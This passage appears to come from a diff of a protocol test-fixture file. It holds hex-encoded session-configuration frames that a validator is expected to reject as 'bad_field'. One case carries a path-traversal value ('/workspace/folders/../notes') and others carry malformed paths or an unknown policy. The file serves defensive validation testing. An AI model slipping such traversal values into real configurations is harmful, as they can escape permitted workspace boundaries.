6f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533362c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-equals-a-runtime-uid", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-policy-unknown", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22796f6c6f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22796f6c6f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-dotdot", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2e2e2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2e2e2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-empty-component", "direction": "down", - "hex": "574d583101010000010000003a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-relative", "direction": "down", - "hex": "574d58310101000001000000380600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a22776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c227